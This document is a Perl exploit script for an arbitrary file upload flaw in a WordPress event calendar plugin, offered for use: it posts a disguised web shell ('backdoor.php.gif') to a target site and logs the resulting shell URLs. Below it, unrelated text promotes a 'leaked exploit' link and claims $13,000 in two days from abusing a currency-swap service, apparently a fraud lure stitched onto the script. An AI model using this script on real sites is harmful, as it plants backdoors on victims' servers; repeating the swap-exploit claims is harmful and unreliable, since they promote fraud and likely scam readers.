[EXPLOIT]Wordpress Plugin Calendar - AFU

#!/usr/bin/perl
#EXPLOIT: http://www.exploit4arab.net/exploits/1433
use LWP::UserAgent;
use strict;
use warnings;

sub banner {
print "[!] [ EXPLOIT NAME ]: Wordpress event Calendar Plugin - (AFU)Arbitrary File Upload / EDIT GoogleINURL\n";
print "[!] [ usage ]:        perl $0 www.target.gov.br backdoor.php.gif\n";
print "--------------------------------------------------------------------------------------------------------------------\n";
}
if (!defined ($ARGV[0] && $ARGV[1])) { banner(); exit; }
my $target = $ARGV[0]; my $file = $ARGV[1];
my $ua = LWP::UserAgent->new(agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
my $ch = $ua->post("http://$target/wp-content/plugins/php-event-calendar/server/classes/uploadify.php", Content_Type => 'form-data', Content => [ 'Filedata' => [$file] , targetFolder => '../../../../../' , user_id => '0day' ])->content;
if($ch =~/1/) {
print "\n  [+] [ INFO ] SHELL:: http://$target/$file";
print "\n  [+] [ INFO ] File Uploaded !\n";
open(my $file_,">>","vuln.txt") || die("error $!");
print $file_ "http://$target/$file\n";
close($file_);
} else { print "\n  [x] [ ERROR ]  Target not Vuln\n"; }
✅ Leaked Exploit Documentation:

https://docs.google.com/document/d/1dOCZEHS5JtM51RITOJzbS4o3hZ-__wTTRXQkV1MexNQ/edit?usp=sharing

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).